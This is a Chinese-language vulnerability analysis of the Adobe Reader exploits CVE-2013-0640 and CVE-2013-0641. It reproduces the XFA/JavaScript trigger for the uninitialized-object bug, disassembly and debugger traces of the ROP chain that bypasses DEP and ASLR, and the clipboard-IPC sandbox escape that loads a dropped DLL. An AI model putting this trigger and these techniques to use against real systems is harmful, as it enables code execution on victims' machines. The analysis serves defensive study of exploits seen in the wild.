- A+
一、前文背景
1)带漏洞的软件版本
Adobe Reader XI (11.0.01 and earlier) for Windows and Macintosh Adobe Reader X (10.1.5 and earlier) for Windows and Macintosh Adobe Reader 9.5.3 and earlier 9.x versions for Windows, Macintosh and Linux Adobe Acrobat XI (11.0.01 and earlier) for Windows and Macintosh Adobe Acrobat X (10.1.5 and earlier) for Windows and Macintosh Adobe Acrobat 9.5.3 and earlier 9.x versions for Windows and Macintosh
2)关于AdobeReader阅读器
这篇文章是关于CVE-2013-0640安全漏洞的技术分析报告,它存在于AbobeReader软件的9、10、11这几个版本之下;该漏洞在2013年2月第一次被发现,在当时该漏洞已经很活跃了,本文包含了该漏洞的所有细节分析;Adobe Reader是由Adobe System公司开发的一个Portable Document Format(PDF)阅读器.Adobe XML forms architecture(XFA)是用XML格式指定来嵌入到PDF文档内部一个组件,它第一次是在PDF1.5的格式文档中被指定和使用,被保存于PDF内部,但该格式中存在大量的Bug.
3)关于CVE-2013-0640漏洞
在2013年二月份的时候,Adobe安全事件响应团队释放了名为security advisory APSA13-02的安全报告,在安全报告中说到有两个安全漏洞被广泛的利用(CVE-2013-0640和CVE-2013-0641);Intel实验室和McAfee实验室最先放出分析报告.
二、漏洞原因
1)代码分析
这个漏洞主要通过利用JavaScript脚本组件来植入到XFA表单里面,通过ROP技术来突破DEP和ASLR防护,从而控制软件上下文环境,获得权限.在下面的XFA表单中包含两个subform,第一个subform包含了一个choiceList对象,第二个subform包含了一个简单的绘画对象(如下).
<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/"> <subform name="form1"> <pageSet> <pageArea name="page1"> <contentArea /> <subform> <field name="field0"> <ui><choiceList></choiceList></ui> </field> </subform> </pageArea> </pageSet> <subform> <draw name="rect1" /> </subform> </subform>
上面的代码序列中包含一个Bug,这个Bug可以被JavaScript代码触发;首先要保存已经被使用过的choiceList对象的一个引用,然后第二个subform的绘画对象的keep.previous被改变为contentArea;之后,choiceList引用对象被重新附加到第一个subform,现在Bug被触发(如下).
function Trigger(){ MessWithTheMemory(); xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild=choiceList;} var choiceList = null; function Start(){ choiceList=xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]"); xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous= "contentArea"; ddd = app.setTimeOut("Trigger();", 1);} Start();
2)汇编分析
Abobe Reader崩溃于AcroForm_api模块中,在崩溃前面函数位置0x20907FA0被调用,为了方便,这个函数调用的是UseTheUninitializedValue;它第一个调用的函数位置在0x209D76AE,名字为GetTheBrokenObject.调用之后在对象的结构加一,大概为一个引用计数吧;最后在结构偏移位置0x3C的地方被赋值,如果对象结构位置0x3C的地方不是NULL,那么将会使用0x3C地方的值来调用函数位置于0x209063B4,名称为crash_here,这个位置就是崩溃点(如下汇编代码).
.text:20907FA0 UseTheUninitializedValue .text:20907FA0 .text:20907FA0 var_10 = dword ptr -10h .text:20907FA0 var_4 = dword ptr -4g .text:20907FA0 arg_0 = dword ptr 8 .text:20907FA0 arg_4 = dword ptr 0Ch .text:20907FA0 arg_8 = dword ptr 10h .text:20907FA0 .text:20907FA0 push 4 .text:20907FA2 mov eax, offset sub_20CE45C9 .text:20907FA7 call __EH_prolog3 .text:20907FAC mov ebx, ecx .text:20907FAE and [ebp+var_10], 0 .text:20907FB2 push [ebp+arg_8] .text:20907FB5 lea eax, [ebp+arg_8] .text:20907FB8 push [ebp+arg_4] .text:20907FBB push eax .text:20907FBC call GetTheBrokenObject // 从这里获得未初始化的对象 .text:20907FC1 mov esi, [eax] .text:20907FC3 test esi, esi .text:20907FC5 mov [ebp+arg_4], esi .text:20907FC8 jz short loc_20907FCD .text:20907FCA inc dword ptr [esi+4] // 对象引用计数器? .text:20907FCD .text:20907FCD loc_20907FCD: .text:20907FCD lea ecx, [ebp+arg_8] .text:20907FD0 mov [ebp+var_4], 1 .text:20907FD7 call sub_208A7FA1 .text:20907FDC mov edi, [ebx+3Ch] .text:20907FDF test edi, edi .text:20907FE1 jz short loc_20908012 .text:20907FE3 cmp dword ptr [esi+3Ch], 0 //如果为0,跳过调用. .text:20907FE7 jz short loc_20907FF2 .text:20907FE9 mov ecx, [esi+3Ch] // 这里的内存未被初始化. .text:20907FEC push ebx .text:20907FED call crash_here
在对象结构0x3C的地方是一个将被使用的指针,但这个指针是无效的,于是Adobe Reader在后面的引用该指针的时候就发生了崩溃(如下汇编代码).
.text:209063B4 crash_here .text:209063B4 arg_0 = dword ptr 4 .text:209063B4 .text:209063B4 push esi .text:209063B5 push edi .text:209063B6 mov edi, ecx // EDI是无效值 .text:209063B8 mov esi, [edi+40h] .text:209063BB test esi, esi .text:209063BD jz short loc_209063FE ... .text:209063FE loc_209063FE: .text:209063FE .text:209063FE pop edi .text:209063FF pop esi .text:20906400 retn 4 text:20906400 crash_here endp
在上面代码中由于EDI被赋予了一个无效值,现在我们需要跳回到对象结构的构造函数.该函数位置于0x209D8D71,名称为InitializeBrokenObject.这个函数是构造一个对象结构,让我们看下它的汇编代码;注意0x3C的地方从来没有被初始化过(如下汇编代码).
.text:209D8D71 InitializeBrokenObject .text:209D8D71 .text:209D8D71 arg_0 = dword ptr 4 .text:209D8D71 arg_4 = dword ptr 8 .text:209D8D71 arg_8 = dword ptr 0Ch .text:209D8D71 .text:209D8D71 push esi .text:209D8D72 push [esp+4+arg_0] .text:209D8D76 mov esi, ecx .text:209D8D78 call sub_209E7137 // ECX被赋予第二个参数. .text:209D8D7D mov ecx, [esp+4+arg_4] // vtable. .text:209D8D81 mov dword ptr [esi], offset broken_object .text:209D8D87 mov eax, [ecx] .text:209D8D89 xor edx, edx .text:209D8D8B cmp eax, edx .text:209D8D8D mov [esi+24h], eax .text:209D8D90 jz short loc_209D8D95 .text:209D8D92 inc dword ptr [eax+4] .text:209D8D95 .text:209D8D95 loc_209D8D95: // Offset 0x3c is not set. .text:209D8D95 mov eax, [esp+4+arg_8] .text:209D8D99 mov [esi+2Ch], eax .text:209D8D9C mov [esi+30h], edx .text:209D8D9F mov [esi+34h], edx .text:209D8DA2 mov [esi+38h], edx .text:209D8DA5 mov eax, off_20E93D74 .text:209D8DAA and dword ptr [esi+28h], 0FFFFFFF0h .text:209D8DAE mov [esi+0Ch], eax .text:209D8DB1 mov dword ptr [esi+10h], 0C9h .text:209D8DB8 mov ecx, [ecx] .text:209D8DBA cmp ecx, edx .text:209D8DBC jz short loc_209D8DC1 .text:209D8DBE mov [ecx+3Ch], esi .text:209D8DC1 .text:209D8DC1 loc_209D8DC1: .text:209D8DC1 mov eax, esi .text:209D8DC3 pop esi .text:209D8DC4 retn 0Ch .text:209D8DC4 InitializeBrokenObject endp
相信前面的内存使用,ESI+0x3C的值可能已经被改变,如果它是0,那么崩溃点将会被跳过并且没有任何事情发生;否则可能发生崩溃.到这里这个Bug分析就结束了,接下来的事情就是控制未初始化数据的值并且利用该Bug来植入可执行代码,这将是后面我们关注的焦点.
3)控制权限
继续接着上面讲,如果对象结构0x3C处的地方为0,那么将会跳走,没有任何事情发生;否则,可能调用到崩溃点.但如果对象结构0x3C的地方被赋予一个特定的地址,这个逻辑就会改变,那么崩溃函数将不再崩溃,继续执行.接下来对象结构0x3C处的指针加偏移0×4的位置减去1,如果不为零,仍然会跳走;否则对象结构0x3C的地方将会被调用.
.text:208A54A9 mov edi, [edi+3Ch] ; 如果碰巧是0,跳过崩溃的函数. .text:208A54AC test edi, edi .text:208A54AE jz short loc_208A54E0 .text:208A54B0 cmp dword ptr [esi+3Ch], 0 ; 是否为0? .text:208A54B4 jz short loc_208A54C1 .text:208A54B6 push dword ptr [ebp-10h] .text:208A54B9 mov ecx, [esi+3Ch] ; 这里的内存未被初始化. .text:208A54BC call crash_here .text:208A54C1 .text:208A54C1 loc_208A54C1: ; CODE XREF: .text:208A54B4j .text:208A54C1 inc dword ptr [edi+4] .text:208A54C4 mov ecx, [esi+3Ch] .text:208A54C7 test ecx, ecx ;无效值 .text:208A54C9 jz short SkipExploitPoint .text:208A54CB dec dword ptr [ecx+4] ; [[结构对象+0x3C]+0x4]==0?:继续:跳走 .text:208A54CE jnz short SkipExploitPoint .text:208A54D0 mov eax, [ecx];无效指针,被攻击者填充的内存. .text:208A54D2 push ebx .text:208A54D3 call dword ptr [eax] ; 触发虚函数调用 .text:208A54D5 .text:208A54D5 SkipExploitPoint: ; CODE XREF: .text:208A54C9j
三、利用分析
CVE-2013-0640利用的大致方式为,使用堆栈溢出来改写一个错误的虚函数指针,通过上面call dword ptr [eax]这一行汇编代码来触发调用,并且使用了一个内存地址泄漏漏洞来绕过ASLR(地址随机布局化),并且使用ROP技术来绕过DEP(数据执行保护).
.text:208A54D3 call dword ptr [eax] ; 通过前面修改的虚函数指针,这行会触发虚函数调用. 现在指令将会调用到一个ROP链地址,它是ROP链的出发点.第一个RO地址为0x209b9f50,看下该处的汇编代码(如下). .text:209B9F42 mov eax, [ecx+4] .text:209B9F45 test eax, eax .text:209B9F47 jz short loc_209B9F57 .text:209B9F49 push eax .text:209B9F4A mov eax, dword_2128C66C .text:209B9F4F call dword ptr [eax+5Ch] .text:209B9F52 pop ecx .text:209B9F53 movzx eax, ax .text:209B9F56 retn
但是,如果从0x209b9f50开始解码,这里存在一个堆栈溢出,EAX会改写ESP寄存器的值;这将会指向ROP链的冒牌堆栈,看下汇编代码(如下).
.text:209B9F42 mov eax, [ecx+4] .text:209B9F45 test eax, eax .text:209B9F47 jz short loc_209B9F57 .text:209B9F49 push eax .text:209B9F4A mov eax, dword_2128C66C .text:209B9F4A ; --------------------------------------------------------------------------- .text:209B9F4F db 0FFh .text:209B9F50 ; --------------------------------------------------------------------------- .text:209B9F50 push eax .text:209B9F51 pop esp .text:209B9F52 pop ecx .text:209B9F53 movzx eax, ax .text:209B9F56 retn
现在堆栈指向一个在堆上的冒牌堆栈,在调试器中运行的时候,上面的堆栈变换过程看起来像下面这个样子;首先在模块装载时断下(sxe ld AcroForm.api),然后算出0x209b9f50的偏移地址0x1B9F50加上模块装载基址;用bp指令下断点,当这行AcroForm!DllUnregisterServer+0x135ae执行完毕以后,ESP寄存器被EAX改写了,EAX是指向一个冒牌堆栈.(如下).
0:009> sxe ld AcroForm.api (780.a0c): C++ EH exception - code e06d7363 (first chance) ModLoad: 61510000 621bd000 C:\Program Files (x86)\Adobe\Reader 11.0\Reader\plug_ins\AcroForm.api eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0050dc50 edi=0050dc18 eip=00b6c622 esp=0050dae4 ebp=0050db20 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 00b6c622 83c404 add esp,4 0:000> p eax=11843934 ebx=00000001 ecx=11850258 edx=00000000 esi=19b8ef2c edi=074bee48 eip=616c9f51 esp=0050dd5c ebp=0050dd9c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 AcroForm!DllUnregisterServer+0x135ae: 616c9f51 5c pop esp 0:000> p eax=11843934 ebx=00000001 ecx=11850258 edx=00000000 esi=19b8ef2c edi=074bee48 eip=616c9f52 esp=11843934 ebp=0050dd9c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 AcroForm!DllUnregisterServer+0x135af: 616c9f52 59 pop ecx
如果冒牌堆栈现在开始工作,它将开始执行更多的RO地址,当后面的RET指令被执行的时候,堆栈现在看起来像下面这个样子,这是一个冒牌堆栈(如下).
eax=00003934 ebx=00000001 ecx=616c9f50 edx=00000000 esi=19b8ef2c edi=074bee48 eip=616c9f56 esp=11843938 ebp=0050dd9c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 AcroForm!DllUnregisterServer+0x135b3: 616c9f56 c3 ret 0:000> dd esp 11843938 61511049 61511049 61511049 61511049 11843948 61511049 61511049 61511049 61511049 11843958 61511049 61511049 61511049 61511049 11843968 61511049 61511049 61511049 61511049 11843978 61511049 61511049 61511049 61511049 11843988 61511049 61511049 61511049 61511049 11843998 61511049 61511049 61511049 61511049 118439a8 61511049 61511049 61511049 61511049
上面堆栈中的地址是AcroForm.api模块装载基址偏移0×1049处的地址,这也是ROP链中的一个地址;通过把该地址的代码解码,变成了RET指令,看下汇编代码(如下).
.text:20801048 test ebx, eax .text:2080104A jz short loc_20801055 //解码后 .text:20801048 db 85h .text:20801049 ; --------------------------------------------------------------------------- .text:20801049 retn .text:2080104A ; ---------------------------------------------------------------------------
当上面RET指令开始执行的时候,总共执行RET指令0×2480次,也就是.text:20801049 retn会重复执行0×2480次(如下).
0:000> dd esp+0x2480 11845dbc 618dd41a 61a68551 61dae001 61b78699 11845dcc 54746547 619bd51a 61a68551 61dae005 11845ddc 61b78699 50706d65 619bd51a 61a68551 11845dec 61dae009 61b78699 41687461 619bd51a 11845dfc 61a68551 61dae00d 61b78699 41414100 11845e0c 619bd51a 61a68551 61dae00e 61b78699 11845e1c 69727766 619bd51a 61a68551 61dae012 11845e2c 61b78699 41006574 619bd51a 61a68551 0:000> dd esp+0x247c 11845db8 61511049 618dd41a 61a68551 61dae001 11845dc8 61b78699 54746547 619bd51a 61a68551 11845dd8 61dae005 61b78699 50706d65 619bd51a 11845de8 61a68551 61dae009 61b78699 41687461 11845df8 619bd51a 61a68551 61dae00d 61b78699 11845e08 41414100 619bd51a 61a68551 61dae00e 11845e18 61b78699 69727766 619bd51a 61a68551 11845e28 61dae012 61b78699 41006574 619bd51a
现在看下esp+0×2480处的内容是什么数据,为了方便理解,我把ROP链esp+0×2480处的数据和指令地址依次放在下面讲解该段代码的流程,第一段ROP链的地址是填充函数字符串到指定内存位置(如下).
0:000> u 618dd41a AcroForm!DllUnregisterServer+0x226a77: 618dd41a 54 push esp 618dd41b 5e pop esi;这里可以看成堆栈平衡 618dd41c c3 ret;返回到[esp+0x2480]+0x4处的代码地址 0:000> u 61a68551 AcroForm!DllUnregisterServer+0x3b1bae: 61a68551 58 pop eax;弹出[esp+0x2480]+0x8处的地址到EAX寄存器,这个地址是可写入的一段空内存. 61a68552 c3 ret;返回到[esp+0x2480]+0xC处的代码地址 AcroForm!DllUnregisterServer+0x4c1cf6: 61b78699 59 pop ecx;弹出[esp+0x2480]+0x10处的数据字符串到ECX寄存器 61b7869a c3 ret;返回到[esp+0x2480]+0xC处的代码地址 0:000> u 619bd51a AcroForm!DllUnregisterServer+0x306b77: 619bd51a 8908 mov dword ptr [eax],ecx;保存ECX寄存器的字符串到EAX的空内存里面 619bd51c c3 ret;后面的省略,其填充的函数字符窜如下. 61dae001 47 65 74 54 65 6d 70 50 61 74 68 41 00 66 77 72 69 74 GetTempPathA.fwrit 61dae013 65 00 77 62 00 43 72 79 70 74 53 74 72 69 6e 67 54 6f e.wb.CryptStringTo 61dae025 42 69 6e 61 72 79 41 00 6e 74 64 6c 6c 00 52 74 6c 44 BinaryA.ntdll.RtlD 61dae037 65 63 6f 6d 70 72 65 73 73 42 75 66 66 65 72 00 77 63 ecompressBuffer.wc 61dae049 73 73 74 72 00 41 44 4d 52 65 73 6f 75 72 63 65 43 6f sstr.
填充了函数字符串之后,注意下面的这段汇编代码,所有API调用都会经过下面代码中的CALL,这段ROP大概主要就是依次获取上面函数地址,然后填充内存;第一个调用的API是LoadLibraryA,其装载模块的参数为MSVCR100.dll,ESP寄存器指针指向的第一个数据地址便是LoadLibraryA的参数地址.
eax=61b7b234 ebx=00000001 ecx=11846000 edx=00000000 esi=11845dc0 edi=11845ffc eip=61a292ac esp=11845fbc ebp=0050dd9c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206 AcroForm!DllUnregisterServer+0x372909: 61a292ac ff10 call dword ptr [eax] ds:002b:61b7b234={kernel32!LoadLibraryA (75424bc6)} 堆栈数据:11845fbc 61dace46 61a87664 61a68551 cccc022c 61872c74 619e567b 615bed72 61a2943b 参数指针:61dace46 4d 53 56 43 52 31 30 30 2e 64 6c 6c 00 00 8d 04 5f 75 MSVCR100.dll.... 第二个调用的API是GetProcAddress,参数1为MSVCR100.dll模块基址,参数2是wcsstr(如下) eax=61b7b1ec ebx=00000001 ecx=66730000 edx=00d5755c esi=11845dc0 edi=11845fec eip=61a292ac esp=11845fec ebp=0050dd9c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 AcroForm!DllUnregisterServer+0x372909: 61a292ac ff10 call dword ptr [eax] ds:002b:61b7b1ec={kernel32!GetProcAddress (75421202)}
堆栈数据:11845fec 66730000 61dae047 6151e598 61a8768d 11846000 61b986a0 6157f687 61a87664
参数指针:61dae047 77 63 73 73 74 72 00 41 44 4d 52 65 73 6f 75 72 63 65 wcsstr.
当kernel32!GetTempPathA地址被读取以后,就开始API调用了,第一个调用的API是GetTempPathA,其获得临时文件夹路径,看下汇编代码(如下).
0:000> p eax=75442b74 ebx=00000001 ecx=75410000 edx=75410000 esi=11845dc0 edi=118462a0 eip=6151e598 esp=118462ac ebp=11846104 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206 AcroForm!PlugInMain+0xc26a: 6151e598 ffe0 jmp eax {kernel32!GetTempPathA (75442b74)}
之后用fopen函数往Abobe沙盒临时路径写文件,其参数1为C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\D.T,其参数2为wb,看下汇编代码(如下).
0:000> p eax=61b7b660 ebx=00000001 ecx=0000b400 edx=0000019e esi=11845dc0 edi=118463bc eip=6151e3e1 esp=11846330 ebp=11846104 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 AcroForm!PlugInMain+0xc0b3: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MSVCR100.dll - 6151e3e1 ff20 jmp dword ptr [eax] ds:002b:61b7b660={MSVCR100!fopen (66793dcc)} 0:000> dd 11846330
堆栈数据:11846330 61a8768d 61dae101 61dae015 61a87664
参数指针:
61dae101 43 3a 5c 55 73 65 72 73 5c 41 44 4d 49 4e 49 7e 31 5c C:\Users\ADMINI~1\ 61dae113 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 AppData\Local\Temp 61dae125 5c 61 63 72 6f 72 64 33 32 5f 73 62 78 5c 44 2e 54 00 \acrord32_sbx\D.T.
参数指针:61dae015 77 62 00 43 72 79 70 74 53 74 72 69 6e 67 54 6f 42 69 wb.
写入文件过程省略,当写入完毕之后,使用fclose函数关闭文件指针,看下汇编代码(如下)
0:000> p eax=61b7b584 ebx=00000001 ecx=66751370 edx=00000000 esi=11845dc0 edi=118463b4 eip=6151e3e1 esp=118463d0 ebp=11846104 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 AcroForm!PlugInMain+0xc0b3: 6151e3e1 ff20 jmp dword ptr [eax] ds:002b:61b7b584={MSVCR100!fclose (6674a864)}
当文件被写入完毕之后,代码将继续调用LoadLibraryA函数来装载刚才写入到沙盒临时路径的D.T文件,其全路径也就是参数为
C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\D.T,看下汇编代码(如下). 0:000> p eax=61b7b234 ebx=00000001 ecx=6674a8b9 edx=002ee3b8 esi=11845dc0 edi=118463b4 eip=61a292ac esp=118463e4 ebp=11846104 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 AcroForm!DllUnregisterServer+0x372909: 61a292ac ff10 call dword ptr [eax] ds:002b:61b7b234={kernel32!LoadLibraryA (75424bc6)} 0:000> dd 118463e4
堆栈数据:118463e4 61dae101 61a68551 61b7b0d4 61a292ac
参数指针:
61dae101 43 3a 5c 55 73 65 72 73 5c 41 44 4d 49 4e 49 7e 31 5c C:\Users\ADMINI~1\ 61dae113 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 AppData\Local\Temp 61dae125 5c 61 63 72 6f 72 64 33 32 5f 73 62 78 5c 44 2e 54 00 \acrord32_sbx\D.T.
四、逃离沙盒
CVE-2013-0641被用于沙箱攻击,D.T加载后负责创建另一个名为L2P.T的动态链接库,并让中间调用进程完成加载过程来逃离沙箱;当D.T被进程加载以后(线程方式加载DLL无效),会进行一些其他的初始化操作(如进程句柄Duplicate),然后等待DLL卸载的时候,会创建两个线程,线程1负责显示一个错误消息,线程2负责进行沙箱攻击,当阅读器版本小于等于8的时候,不进行攻击;否则进行沙箱攻击,看下汇编代码流程(如下).
.text:10002364 call GetReaderVersion .text:10002369 cmp eax, 8 .text:1000236C jbe short loc_10002386 ; jumptable 10002345 default case .text:1000236E push 0 ; .text:10002370 push 0 ; .text:10002372 push 0 ; .text:10002374 push offset BypassSandbox ; lpStartAddress .text:10002379 push 100000h ; dwStackSize .text:1000237E push 0 ; .text:10002380 call CreateThread ; 创建逃离沙箱线程 .text:10002386 loc_10002386: .text:100022F1 DWORD __stdcall BypassSandbox(LPVOID) .text:100022F1 BypassSandbox proc near .text:100022F1 call SuspendOtherThread ; 负责挂起进程的其他线程 .text:100022F6 call GetReaderVersion ; 获得阅读器版本 .text:100022FB mov reader_version, eax .text:10002300 call CreateL2P_T ; 创建L2P.T动态库文件 .text:10002305 cmp reader_version, 9 .text:1000230C jbe short LoadDll_L2P_T ; 版本小于等于9,直接装载L2P.T到当前进程,版本9以下没有沙箱? .text:1000230E call EscapeSandbox ; 绕过沙箱 .text:10002313 push 0 ; uExitCode .text:10002315 call ExitProcess ; 退出进程
其漏洞原因是沙箱未对A系列和W系列API进行正确区分;其中A系函数的系统拷贝缓冲区是多字节长度,但W系函数是拷贝缓冲区应该为多字节长度×2,漏洞存在于沙箱进程的RegisterClipboardFormatA函数,先看一个沙箱调用API的结构(如下).
Struct IPCCall { · Callback IPC tag //API tag · Parameter information //参数信息 · Callback routine address //调用地址 }//structure
根据上面这个结构,攻击者调用RegisterClipboardW函数注册ROP数据代码地址0×8080020到共享内存,并且构造了RegisterClipboardFormatA函数的IPCCall结构信息,API tag为0×74,之后强行更改API tag为0×73,通过lpc机制发送到中间调用进程,中间调用进程根据API tag调用API,0×73是调用的W系函数,实际拷贝缓冲区为大小×2,之后拷贝ROP_shellcode到共享内存,最后拷贝ROP_shellcode到RegisterClipboardW注册的数据地址,导致一些虚函数指针被覆盖,当中间进程收到API调用请求以后,在中间调用进程的AcroRd32.exe+0x9728A位置处处获得控制权限,从而实现了沙箱攻击.最先调用RegisterClipboardW注册和触发共享内存,其数据为0×80大小unsigned long类型的数据,数据填充为ROP数据地址8080020h,其汇编代码(如下).
.text:10001D71 RegisterClipboard proc near .text:10001D71 var_208 = dword ptr -208h .text:10001D71 var_204 = dword ptr -204h .text:10001D71 szFormat = word ptr -200h .text:10001D71 var_2 = word ptr -2 ............................................................................................. .text:10001D7C loc_10001D7C: .text:10001D7C mov dword ptr [ebp+eax*4+szFormat], 8080020h .text:10001D87 inc eax .text:10001D88 cmp eax, 80h ; 构建0x80大小的unsigned long类型缓冲区,其数据为08080020 .text:10001D8D jb short loc_10001D7C .text:10001D8F mov [ebp+var_2], 0 .text:10001D95 cmp reader_version, 0Ah .text:10001D9C jnz short loc_10001E12 ; 判断阅读器版本号 ............................................................................................. .text:10001E12 loc_10001E12: .text:10001E12 lea eax, [ebp+szFormat] ; 注册ROP_shellcode数据代码地址 .text:10001E18 push eax ; lpszFormat .text:10001E19 call RegisterClipboardFormatW ............................................................................................. .text:10001E22 RegisterClipboard endp
之后进行ROP布局,其ROP布局如下,获得大小为0xC800000的共享内存,并占位缓冲区前面1000字节,之后计算ROP_shellcode开始拷贝的地址,按0×400大小方式拷贝对其,一直拷贝到内存结束,其汇编代码和数据(如下).
.text:10002B4D rop_shellcode proc near ; CODE XREF: EscapeSandbox+24p .text:10002B4D .text:10002B4D var_400 = dword ptr -400h .text:10002B4D src = dword ptr -380h .text:10002B4D arg_0 = dword ptr 8 .text:10002B4D push ebp .text:10002B4E mov ebp, esp .text:10002B50 sub esp, 400h .text:10002B56 push ebx .text:10002B57 push esi .text:10002B58 push edi .text:10002B59 mov ebx, [ebp+arg_0] ; 要分配的内存大小0xC800000 .text:10002B5C push offset Buffer ; 构造的L2P.T路径缓冲区 .text:10002B61 lea eax, [ebp+rop_buffer];存放ROP链的缓冲区. .text:10002B67 push eax .text:10002B68 call make_rop_shellcode ; 建立rop链表,其ROP数据如下 .text:10002B6D push ebx .text:10002B6E call sub_10003840 ; 获得共享内存 ........................................................................ .text:10002B76 add ebx, esi ; 计算共享内存束地址 .text:10002B78 mov edi, esi .text:10002B7A push 3E0h .text:10002B7F lea eax, [ebp+src] .text:10002B85 push eax .text:10002B86 push edi .text:10002B87 call sub_100030D0 ; 占位内存前面1000字节 .text:10002B8C add esp, 0Ch .text:10002B8F add edi, 3E0h ; 计算ROP_shellcode开始拷贝的地址 .text:10002B95 jmp short loc_10002BB2 .text:10002B97 loc_10002B97: ; CODE XREF: rop_shellcode+6D_x0019_j .text:10002B97 push 400h .text:10002B9C lea eax, [ebp+rop_buffer] .text:10002BA2 push eax .text:10002BA3 push edi .text:10002BA4 call sub_100030D0 ; 拷贝ROP_shellcode到共享内存 .text:10002BA9 add esp, 0Ch .text:10002BAC add edi, 400h ; 计算下次拷贝的地址 .text:10002BB2 loc_10002BB2: ; CODE XREF: rop_shellcode+48j .text:10002BB2 lea eax, [edi+400h] .text:10002BB8 cmp eax, ebx .text:10002BBA jb short loc_10002B97 ; 循环拷贝ROP_shellcode到内存结束 0:005> dds ebp-400h 1b5ef590 41414141 1b5ef594 41414141 1b5ef598 41414141 1b5ef59c 41414141 1b5ef5a0 41414141 1b5ef5a4 41414141 1b5ef5a8 41414141 1b5ef5ac 41414141 1b5ef5b0 765214eb CLBCatQ+0x14eb 1b5ef5b4 765214eb CLBCatQ+0x14eb 1b5ef5b8 76524527 CLBCatQ!GetCatalogObject2+0xe71 1b5ef5bc 76551566 CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9 1b5ef5c0 765214eb CLBCatQ+0x14eb 1b5ef5c4 765214eb CLBCatQ+0x14eb 1b5ef5c8 765214eb CLBCatQ+0x14eb 1b5ef5cc 75a01e12 kernel32!LoadLibraryW 1b5ef5d0 765214eb CLBCatQ+0x14eb 1b5ef5d4 08080054 1b5ef5d8 75a010ef kernel32!Sleep 1b5ef5dc 765214eb CLBCatQ+0x14eb
然后再构建0x9C大小的RegisterClipboardFormatA函数lpc缓冲区数据,数据设置为0×42,静态变量D.T+initOLEcontainer+0x2b0b0为构建IPCCall的Ipc 缓冲区,调用API tag为0×73,也就是W系列函数,其汇编代码(如下).
0:011> eax=1934d43c ebx=0000c170 ecx=00000000 edx=000000a0 esi=0000c170 edi=0000009c eip=19321ea5 esp=1b8df938 ebp=1b8dfb4c iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 D+0x1ea5: 19321ea5 683cd43419 push offset D!initOLEcontainer+0x2b0b0 (1934d43c) 0:011> dd 1934d43c 1934d43c 00000073 00000000 00000000 00000000 1934d44c 00000000 00000000 00000000 00000000 1934d45c 00000000 00000000 00000000 00000000 1934d46c 00000000 00000000 00000000 00000002 1934d47c 00000006 00000064 0000009c 00000002 1934d48c 00000100 00000004 ffffffff 00000104 1934d49c ffffffff 42424242 42424242 42424242 1934d4ac 42424242 42424242 42424242 42424242
现在,调用流程转到了另一个中间调用进程,中间调用进程通过IPC机制与沙盒进程来传递IPCCall信息;当中间调用进程执行到AcroRd32.exe+0x9728A处,开始调用OpenComponentLibraryOnMemEx函数的时候,发生了堆栈溢出,从而改变了ESP指针,进行第二次攻击,其汇编代码(如下).
0:006> u AcroRd32.exe+0x9728a 0139728a ffd0 call eax;控制点
中间调用进程调用OpenComponentLibraryOnMemEx函数,发生了堆栈溢出,EDX的数据是布置的rop_shellcode代码,函数调用结束的时候EDX被反弹到ESP寄存器.
eax=75eb1566 ebx=03d4f518 ecx=10d8dd30 edx=08080020 esi=002462e0 edi=10d8dd30 eip=0031728a esp=024efc60 ebp=024efc70 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 0031728a ffd0 call eax {CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9 (75eb1566)} CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9: 75851566 52 push edx 75851567 5c pop esp 75851568 5d pop ebp 75851569 c20800 ret 8
ROP数据代码
0:002> dds 08080020 08080020 75e814eb CLBCatQ+0x14eb 08080024 75e814eb CLBCatQ+0x14eb 08080028 75e84527 CLBCatQ!GetCatalogObject2+0xe71 0808002c 75eb1566 CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9 08080030 75e814eb CLBCatQ+0x14eb 08080034 75e814eb CLBCatQ+0x14eb 08080038 75e814eb CLBCatQ+0x14eb 0808003c 76511e12 kernel32!LoadLibraryW 08080040 75e814eb CLBCatQ+0x14eb//返回地址 08080044 【08080054】//路径数据地址 08080048 765110ef kernel32!Sleep 0808004c 75e814eb CLBCatQ+0x14eb 08080050 0036ee80 AcroRd32+0xeee80 【08080054】 C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\L2P.T
